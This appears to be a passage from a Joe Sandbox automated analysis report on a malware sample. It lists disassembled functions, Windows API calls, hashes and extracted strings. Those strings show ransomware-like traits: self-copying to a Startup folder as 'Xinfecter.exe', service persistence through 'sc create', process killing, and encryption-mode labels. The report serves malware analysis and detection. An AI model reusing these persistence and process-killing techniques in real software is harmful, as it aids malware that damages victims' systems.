                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: Crypt$ContextErrorExceptionException@8LastRaiseRandomReleaseThrow
                                  • String ID: CryptGenRandom
                                  • API String ID: 1600773198-3616286655
                                  • Opcode ID: c22018c7387d3d8394bf303e9389c6e271de13b20427066ad2364ea94e09c2c1
                                  • Instruction ID: df2934e24073a5499204c2f3217f626e344e4a7e27c68ea05d853dd19b1e2862
                                  • Opcode Fuzzy Hash: c22018c7387d3d8394bf303e9389c6e271de13b20427066ad2364ea94e09c2c1
                                  • Instruction Fuzzy Hash: 39316F71A04258EFDB14DFA4E945BDEBBB8FB19714F000169E912AB281DB715A08CBA0
                                  Function 009D5920 Relevance: 6.2, APIs: 4, Instructions: 164networkCOMMON
                                  Download Yara Rule
                                  APIs
                                  • PathIsNetworkPathA.SHLWAPI(?,00ABAB14,?,?,?,215D2A08), ref: 009D59A7
                                  • __alloca_probe_16.LIBCMT ref: 009D59D7
                                  • MultiByteToWideChar.KERNEL32(00000003,00000000,?,000000FF,?,?,?,?,?,?,215D2A08), ref: 009D59F1
                                  • GetDiskFreeSpaceExW.KERNEL32(00000000,00000000,?,?,?,?,?,?,215D2A08), ref: 009D5A0C
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: Path$ByteCharDiskFreeMultiNetworkSpaceWide__alloca_probe_16
                                  • String ID:
                                  • API String ID: 592574438-0
                                  • Opcode ID: 556976df363f8057df8de33a84735782f7fe5b3bee7767091a3e66525eeeaf9b
                                  • Instruction ID: 295855b69ca8b5f77352ecb9a710a766333f986e5b5d88f77d99d611fd282222
                                  • Opcode Fuzzy Hash: 556976df363f8057df8de33a84735782f7fe5b3bee7767091a3e66525eeeaf9b
                                  • Instruction Fuzzy Hash: B1510071A4061ADFDF18CFA8C880AEEB7B9FF44310F55826AE81297385E731AD45CB50
                                  Function 009D36F0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 120COMMON
                                  Download Yara Rule
                                  APIs
                                  • GetUserNameW.ADVAPI32(?,?), ref: 009D3733
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: NameUser
                                  • String ID: user$user
                                  • API String ID: 2645101109-345420354
                                  • Opcode ID: a8b0e48534c2a66b5abde9436fa56799a389d9958b61f554dce8e4706a21676f
                                  • Instruction ID: 3bc6c07013c5112d1270b34bb9cbd10265bf839596408a767a8de9d9a305c8fc
                                  • Opcode Fuzzy Hash: a8b0e48534c2a66b5abde9436fa56799a389d9958b61f554dce8e4706a21676f
                                  • Instruction Fuzzy Hash: BC419D7195011D9BDB24DF64CD98BDEB7B9EB44301F2086D9E409A7290DB38AB84CF50
                                  Function 009D6808 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 163filenetworkCOMMON
                                  Download Yara Rule
                                  APIs
                                  • InternetReadFile.WININET(?,?,00000400,?), ref: 009D6821
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: FileInternetRead
                                  • String ID: `
                                  • API String ID: 778332206-3189776409
                                  • Opcode ID: 95e72d46950f8a90738698d74a571a843f153ff781a1056bb466afecef608f0b
                                  • Instruction ID: 127aaaf49426a1a47e6c443c5fa3d13214d8e8c11c81dd650721d08c0f0df6e9
                                  • Opcode Fuzzy Hash: 95e72d46950f8a90738698d74a571a843f153ff781a1056bb466afecef608f0b
                                  • Instruction Fuzzy Hash: 5151B4B1A101198BDF28CF24CD84B9DB775EF85304F50829AE60897385D775AEC8CF58
                                  Function 00A247F0 Relevance: 1.6, APIs: 1, Instructions: 81encryptionCOMMON
                                  Download Yara Rule
                                  APIs
                                  • CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 00A2487A
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: ContextCryptRelease
                                  • String ID:
                                  • API String ID: 829835001-0
                                  • Opcode ID: 37a52d98c51b4356241c966e7182e1ae0320d9f295063f987f2382e70e34ed37
                                  • Instruction ID: 2412c8c7d9da1d984a235a3e28562cea28bb2130bc31e6cb337fcd127cf898b2
                                  • Opcode Fuzzy Hash: 37a52d98c51b4356241c966e7182e1ae0320d9f295063f987f2382e70e34ed37
                                  • Instruction Fuzzy Hash: 6A219171A147A0ABD720DB98ED41F5AB7A8EB49B50F00067AED0597790E7706901CB91
                                  Function 009C1960 Relevance: .0, Instructions: 28COMMON
                                  Download Yara Rule
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: Crypt$ContextRandomRelease__onexit
                                  • String ID:
                                  • API String ID: 2784917694-0
                                  • Opcode ID: 8c6f85593336444e2d5464034e70731228029d7055cc6b592b4b855512521951
                                  • Instruction ID: 2afd218214aa200d18c2569e906efebca215c21828ebcbf7c98d11e1dc20f4f5
                                  • Opcode Fuzzy Hash: 8c6f85593336444e2d5464034e70731228029d7055cc6b592b4b855512521951
                                  • Instruction Fuzzy Hash: 65F082B1A84748ABC701DFD8ED52B9677A4E709B10F000639F616977C0DB7525044655
                                  Function 009EC27C Relevance: 63.5, APIs: 5, Strings: 31, Instructions: 509fileCOMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  • Executed
                                  • Not Executed
                                  control_flow_graph 3784 9ec27c 3785 9ec281-9ec329 call 9f90a0 * 3 3784->3785 3786 9ec27c call 9e7c10 3784->3786 3796 9ec32f-9ec343 3785->3796 3797 9ec422-9ec44e call 9c8780 call 9f13c0 3785->3797 3786->3785 3799 9ec345-9ec348 3796->3799 3800 9ec382-9ec385 3796->3800 3816 9ec454-9ec50b call 9f13c0 * 2 call 9f1360 call 9f9040 call 9f9580 call 9f1ac0 * 2 call 9f1660 call 9c8780 call 9f1ac0 * 2 3797->3816 3817 9ec510-9ec852 call 9d2870 GetModuleFileNameW call 9f1260 call 9d36f0 call 9d3590 call 9f11d0 call 9c49c0 call 9f9b40 call 9f9c10 call 9f9ad0 call 9c49c0 * 2 call 9f1090 * 2 CopyFileW call 9f9b40 call 9f9c10 call 9f9ad0 call 9c49c0 * 2 call 9f1090 * 2 CopyFileW call 9f10a0 call 9f10c0 call 9fa4d0 call 9f8f40 call 9f9580 call 9f1ac0 call 9f8f40 call 9f9580 call 9f1ac0 call 9f1660 call 9c8780 call 9f1ac0 call 9f1660 call 9c8780 call 9f1ac0 call 9f10a0 call 9f10c0 call 9fa4d0 call 9f8f40 call 9f9580 call 9f1ac0 call 9f1660 call 9c8780 call 9f1ac0 call 9e3dd0 call 9c8780 call 9f13c0 call 9f12d0 call 9d3100 3797->3817 3802 9ec350-9ec35a 3799->3802 3803 9ec387-9ec38a 3800->3803 3804 9ec3c2-9ec3c5 3800->3804 3802->3802 3809 9ec35c-9ec37d 3802->3809 3805 9ec390-9ec39a 3803->3805 3806 9ec3fd-9ec41c SetErrorMode SetConsoleTitleW call 9d58e0 3804->3806 3807 9ec3c7-9ec3ca 3804->3807 3805->3805 3810 9ec39c-9ec3bd 3805->3810 3806->3797 3819 9ee585-9ee5a2 call a505bb 3806->3819 3811 9ec3d0-9ec3da 3807->3811 3809->3800 3810->3804 3811->3811 3814 9ec3dc-9ec3f9 3811->3814 3814->3806 3816->3817 3940 9ec8b6-9ec8cb call 9d5d90 * 2 3817->3940 3941 9ec854-9ec85b 3817->3941 3950 9ec8cd-9ec8ec call 9d5d90 * 2 3940->3950 3951 9ec8f2-9eca02 call 9f10a0 call 9f10c0 call 9fa4d0 call 9f1a90 call 9c8a80 call 9f11d0 call 9c49c0 call 9f10a0 call 9f10c0 call 9fa4d0 call 9c8a80 call 9f9d90 call 9f11d0 call 9c49c0 * 2 call 9d4500 call 9f12b0 3940->3951 3941->3940 3943 9ec85d-9ec864 3941->3943 3943->3940 3945 9ec866-9ec872 call 9fafa0 3943->3945 3945->3940 3952 9ec874-9ec8b3 call 9f12d0 * 2 call 9c92a0 3945->3952 3950->3951 3997 9eca04-9eca06 3951->3997 3952->3940 3998 9eca0c-9ecaca call 9f9b40 call 9f9c10 call 9f9ad0 call 9f11d0 call 9c49c0 * 3 call 9f12d0 call 9c4a20 call 9c49c0 3997->3998 3999 9ecad8-9ecb15 call 9f12d0 call 9c4a20 call 9c49c0 3997->3999 3998->3999 4066 9ecacc-9ecad3 3998->4066 4013 9ecb17-9ecb8d call 9f9b40 call 9f9c10 call 9f9ad0 call 9f11d0 call 9c49c0 * 3 3999->4013 4014 9ecb92-9ecbb5 call 9f9b40 3999->4014 4013->4014 4023 9ecbbc-9ecbf0 call 9f12d0 call 9c4a20 4014->4023 4024 9ecbb7 call 9e0fa0 4014->4024 4040 9ecc32 4023->4040 4041 9ecbf2-9ecc30 call 9f12d0 call 9c4a20 4023->4041 4024->4023 4045 9ecc39-9ecc41 4040->4045 4041->4040 4041->4045 4049 9ecc5d-9ecc7f call 9c49c0 4045->4049 4050 9ecc43-9ecc57 call 9c49c0 4045->4050 4061 9ed02b-9ed1f1 call a68980 call 9f37b0 call 9f9130 call 9c3730 call 9f3740 call a68980 call 9d5e60 call a05c80 call a68980 call 9ee5b0 call a68980 call 9ee750 call 9f0230 call a02590 call 9f0230 call a023c0 4049->4061 4062 9ecc85-9eccc2 call 9f12d0 call 9c4a20 call 9c49c0 4049->4062 4050->4049 4138 9ed1f7-9ed200 4061->4138 4079 9eccd6-9eccdc 4062->4079 4080 9eccc4-9eccd1 call 9f11a0 4062->4080 4066->3997 4083 9ecce0-9eccfb call 9f12d0 call 9caed0 4079->4083 4080->4079 4092 9ecd0d-9ed026 call a68980 call 9f3b00 call 9f0cc0 call 9fae30 call 9f3a90 call 9f1bd0 * 2 call 9f1400 * 2 call 9f1360 call 9f1b10 call 9f1ac0 call 9f1360 call 9f1b10 call 9f1ac0 call 9f13c0 * 2 call 9f1360 call 9f16c0 call 9f16e0 call 9fa5b0 call 9f1170 call 9f11a0 call 9f13c0 * 2 call 9f1360 call 9f16c0 call 9f16e0 call 9fa5b0 call 9f11a0 call 9c7fe0 call 9f1b10 call 9f1ac0 call 9f1a60 call 9f1a90 call 9f1ac0 call 9c49c0 call 9f1ac0 call 9c49c0 call 9f1ac0 * 4 call 9cac80 4083->4092 4093 9eccfd 4083->4093 4274 9ed82e-9ed891 call a68980 call 9c76c0 call a01ba0 call 9f1260 call 9f0e90 4092->4274 4095 9eccff-9ecd02 4093->4095 4096 9ecd04-9ecd0b Sleep 4093->4096 4095->4092 4095->4096 4096->4083 4138->4138 4140 9ed202-9ed26e call 9c7e30 call 9f1b10 call 9f1ac0 call 9f1360 * 2 4138->4140 4162 9ed270-9ed279 4140->4162 4162->4162 4164 9ed27b-9ed291 call 9f1a90 4162->4164 4170 9ed297-9ed2a0 4164->4170 4170->4170 4172 9ed2a2-9ed2c1 call 9d3f00 4170->4172 4177 9ed2c6-9ed2cf 4172->4177 4177->4177 4179 9ed2d1-9ed30a call 9f95d0 call 9f1b10 call 9f1ac0 4177->4179 4194 9ed310-9ed319 4179->4194 4194->4194 4196 9ed31b-9ed825 call 9f1c10 call 9c7e30 call 9f1b10 call 9f1ac0 call a68980 call 9f37b0 call 9f8f40 call 9f9580 call 9f9470 call 9c3730 call 9f1ac0 * 2 call 9f3740 call 9f10a0 call 9f10c0 call 9fa4d0 call a68980 call 9f37b0 call 9f9490 call 9f9470 call 9f1ac0 call 9f9490 call 9f9470 call 9f1ac0 call 9f3740 call 9f1c10 call 9d4670 call 9f9b40 call 9f9c10 call 9f9ad0 call 9c49c0 * 2 call a68980 call 9f3b00 call 9c3730 call 9f3a90 call 9f12d0 call 9e1c90 call 9cac80 call 9c49c0 call 9f1ac0 * 2 call 9cb040 call 9f1ac0 call 9cb040 call 9f1ac0 * 5 call 9c7d70 call 9d6020 * 2 4194->4196 4196->4274 4418 9ed829 call 9cb040 4196->4418 4295 9ed8a3-9edba9 call 9f9de0 call 9f9ad0 call 9f9c10 call 9f9ad0 call 9f9c10 call 9f9ad0 call 9f9c10 call 9f9ad0 call 9f9c10 call 9f9ad0 call 9f11d0 call 9c49c0 * 10 call 9f1bd0 call 9f1660 call a75282 call 9f1bd0 call 9f1660 call a75282 call 9f9de0 call 9f9ad0 call 9f9c10 call 9f9ad0 call 9f9c10 call 9f9ad0 call 9f9c10 call 9f9ad0 call 9f11d0 call 9c49c0 * 8 call 9f90a0 4274->4295 4296 9ed893-9ed89e call 9f1170 4274->4296 4449 9edbaf-9edbc0 call 9cf5e0 4295->4449 4450 9edd17-9edd28 call 9f90a0 4295->4450 4296->4295 4418->4274 4457 9edbc6-9edcb7 call 9f9b40 call 9f9c10 call 9f9ad0 call 9f9c10 call 9f9ad0 call 9f9c10 call 9c49c0 * 5 call 9f1090 * 2 call a759c6 4449->4457 4458 9ee4a4-9ee580 call 9c8780 call 9f1ac0 * 3 call 9c49c0 call 9c78d0 call 9c49c0 * 2 call 9f1ac0 * 8 call 9c49c0 * 3 call 9f1ac0 4449->4458 4455 9edd2e-9ee0a3 call 9c5130 * 2 call 9f0e30 call 9f12d0 call 9fa750 call 9fa940 call 9f0e30 call 9f12d0 call 9fa750 call 9fa940 call 9f0e30 call 9f12d0 call 9fa750 call 9fa940 call 9f0e30 call 9f12d0 call 9fa750 call 9fa940 call 9f0e30 call 9f12d0 call 9fa750 call 9fa940 call 9c5330 call 9f0e30 call 9f12d0 call 9fa750 call 9fa940 call 9f0e30 call 9f12d0 call 9fa750 call 9fa940 call 9f0e30 call 9f12d0 call 9fa750 call 9fa940 call 9f0e30 call 9f12d0 call 9fa750 call 9fa940 call 9f0e30 call 9f12d0 call 9fa750 call 9fa940 call 9c5330 4450->4455 4456 9ee450-9ee461 call 9f90a0 4450->4456 4647 9ee0a9-9ee42f call 9c5130 * 2 call 9f0e30 call 9f12d0 call 9fa750 call 9fa940 call 9f0e30 call 9f12d0 call 9fa750 call 9fa940 call 9f0e30 call 9f12d0 call 9fa750 call 9fa940 call 9f0e30 call 9f12d0 call 9fa750 call 9fa940 call 9f0e30 call 9f12d0 call 9fa750 call 9fa940 call 9c5330 call 9f0e30 call 9f12d0 call 9fa750 call 9fa940 call 9f0e30 call 9f12d0 call 9fa750 call 9fa940 call 9f0e30 call 9f12d0 call 9fa750 call 9fa940 call 9f0e30 call 9f12d0 call 9fa750 call 9fa940 call 9f0e30 call 9f12d0 call 9fa750 call 9fa940 call 9c5330 call 9c5240 * 2 4455->4647 4648 9ee434-9ee44e call 9c5240 * 2 4455->4648 4467 9ee463-9ee478 call 9ddaf0 * 2 4456->4467 4468 9ee491-9ee49d call 9df570 4456->4468 4562 9edcb9-9edd00 call 9f9c70 call 9f11d0 call 9c49c0 call 9f1090 * 2 call a759c6 4457->4562 4563 9edd03-9edd12 call 9c49c0 4457->4563 4458->3819 4467->4458 4493 9ee47a-9ee48f call 9ddaf0 * 2 4467->4493 4468->4458 4485 9ee49f 4468->4485 4485->4458 4487 9ee49f call 9df570 4485->4487 4487->4458 4493->4458 4562->4563 4563->4458 4647->4648 4648->4458
                                  APIs
                                  • SetErrorMode.KERNEL32(00000001), ref: 009EC3FF
                                  • SetConsoleTitleW.KERNEL32(asykat), ref: 009EC40A
                                  • GetModuleFileNameW.KERNEL32(00000000,?,00000400,dcdcf,00000000), ref: 009EC523
                                  • CopyFileW.KERNEL32(00000000,00000000,00000000,00A9945D,000000FF), ref: 009EC5E3
                                  • CopyFileW.KERNEL32(00000000,00000000,00000000), ref: 009EC65D
                                    • Part of subcall function 009E3DD0: GetCurrentThread.KERNEL32 ref: 009E3E13
                                    • Part of subcall function 009E3DD0: OpenThreadToken.ADVAPI32(00000000), ref: 009E3E1A
                                    • Part of subcall function 009E3DD0: GetLastError.KERNEL32 ref: 009E3E24
                                    • Part of subcall function 009E3DD0: GetCurrentProcess.KERNEL32(0000000A,?), ref: 009E3E3B
                                    • Part of subcall function 009E3DD0: OpenProcessToken.ADVAPI32(00000000), ref: 009E3E42
                                    • Part of subcall function 009E3DD0: DuplicateToken.ADVAPI32(?,00000002,?), ref: 009E3E59
                                    • Part of subcall function 009E3DD0: AllocateAndInitializeSid.ADVAPI32(00000000,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 009E3E84
                                    • Part of subcall function 009E3DD0: LocalAlloc.KERNEL32(00000040,00000014), ref: 009E3E96
                                    • Part of subcall function 009E3DD0: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 009E3EAA
                                    • Part of subcall function 009E3DD0: GetLengthSid.ADVAPI32(?), ref: 009E3EBB
                                    • Part of subcall function 009E3DD0: LocalAlloc.KERNEL32(00000040,00000010), ref: 009E3EC7
                                    • Part of subcall function 009E3DD0: InitializeAcl.ADVAPI32(00000000,00000010,00000002), ref: 009E3EDC
                                    • Part of subcall function 009E3DD0: AddAccessAllowedAce.ADVAPI32(?,00000002,00000003,?), ref: 009E3EF4
                                    • Part of subcall function 009E3DD0: SetSecurityDescriptorDacl.ADVAPI32(00000000,00000001,?,00000000), ref: 009E3F0C
                                    • Part of subcall function 009D5D90: GlobalMemoryStatusEx.KERNEL32(215D2A08), ref: 009D5DAF
                                    • Part of subcall function 009D4500: NetUserEnum.NETAPI32(00000000,00000000,00000002,00000000,000000FF,00000000,?,?,215D2A08), ref: 009D4565
                                    • Part of subcall function 009D4500: NetApiBufferFree.NETAPI32(00000000), ref: 009D4606
                                    • Part of subcall function 009D4500: NetApiBufferFree.NETAPI32(00000000), ref: 009D4622
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: FileInitializeToken$AllocBufferCopyCurrentDescriptorErrorFreeLocalOpenProcessSecurityThread$AccessAllocateAllowedConsoleDaclDuplicateEnumGlobalLastLengthMemoryModeModuleNameStatusTitleUser
                                  • String ID: /f$" start= auto$" start=auto$","$"cmd.exe","$$$$$.2QN$4O99N$:\Documents and Settings\$:\Users\$Dflt$Fast$Fast$Manual_Mini_Config$Mini_Config$Version 5.$\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe$\AppData\SysMain.sys$\Start Menu\Programs\Startup\Xinfecter.exe$user$asykat$asykat$c:\R_cfg.ini$dcdcf$k2ba8v$r1d8la$sc create SqlBakup binPath= "$taskkill /PID $tasklist /v /fo csv | findstr /i "dcdcf"$ver
                                  • API String ID: 2029459818-2302852531
                                  • Opcode ID: 49b77d00f76c9e137b2b79bf37f70e5b567f1722204cf87db4bda6b172f2f119
                                  • Instruction ID: 2e6c7d8a3483fb953d17b087cc6ff9a0d851224c8ff096dbd12c3c3b1a22561b
                                  • Opcode Fuzzy Hash: 49b77d00f76c9e137b2b79bf37f70e5b567f1722204cf87db4bda6b172f2f119
                                  • Instruction Fuzzy Hash: BA22B37090025CDACB15EBA4CC51FEEB7B8AF95304F0441E9E54A67292EB705F85CFA2
                                  Function 009E1C90 Relevance: 52.7, APIs: 4, Strings: 25, Instructions: 1975COMMON
                                  Download Yara Rule
                                  APIs
                                    • Part of subcall function 009D5920: PathIsNetworkPathA.SHLWAPI(?,00ABAB14,?,?,?,215D2A08), ref: 009D59A7
                                    • Part of subcall function 009D5920: __alloca_probe_16.LIBCMT ref: 009D59D7
                                    • Part of subcall function 009D5920: MultiByteToWideChar.KERNEL32(00000003,00000000,?,000000FF,?,?,?,?,?,?,215D2A08), ref: 009D59F1
                                    • Part of subcall function 009D5920: GetDiskFreeSpaceExW.KERNEL32(00000000,00000000,?,?,?,?,?,?,215D2A08), ref: 009D5A0C
                                  • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 009E1D27
                                  • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 009E1D35
                                  • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 009E1D69
                                  • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 009E1D77
                                    • Part of subcall function 009D38C0: GetComputerNameExW.KERNEL32(00000000,?,?,215D2A08,?), ref: 009D3941
                                    • Part of subcall function 009D38C0: DsRoleGetPrimaryDomainInformation.NETAPI32(00000000,00000001,?,?,00000000,?,?,?), ref: 009D39E0
                                    • Part of subcall function 009CAE10: std::ios_base::_Ios_base_dtor.LIBCPMT ref: 009CAE81
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$Path$ByteCharComputerDiskDomainFreeInformationIos_base_dtorMultiNameNetworkPrimaryRoleSpaceWide__alloca_probe_16std::ios_base::_
                                  • String ID: | $ ~$,d5$4O99N$4O99N$:\Users\$Microsoft$\AppData\S-inf.sys$_And_Netword_Drive_Size:$_Encryption_Mode:$_Fast_Mode$_Slow_Mode$___$user$api.ipify.org$echo %date%-%time%$f$hg3l,$n7t0$o8g9n$p2h6$s4e5y$systeminfo|find /i "original"$systeminfo|find /i "os name"$ver
                                  • API String ID: 586396178-3293784686
                                  • Opcode ID: 17be1d9c2d2b002ad1ee5b66e2ee77df3ed268573a967526c8769a6aa973a143
                                  • Instruction ID: 78a56a39ae2e525168cc03ce73000124023350f725050d9469892850da9444df
                                  • Opcode Fuzzy Hash: 17be1d9c2d2b002ad1ee5b66e2ee77df3ed268573a967526c8769a6aa973a143
                                  • Instruction Fuzzy Hash: 38138C70910298DBEB25DB24CD45BEEBBB5AF91304F1081D8D0496B292DB769FC8CF91
                                  Function 00A878DD Relevance: 34.7, APIs: 23, Instructions: 194processsynchronizationCOMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  • Executed
                                  • Not Executed
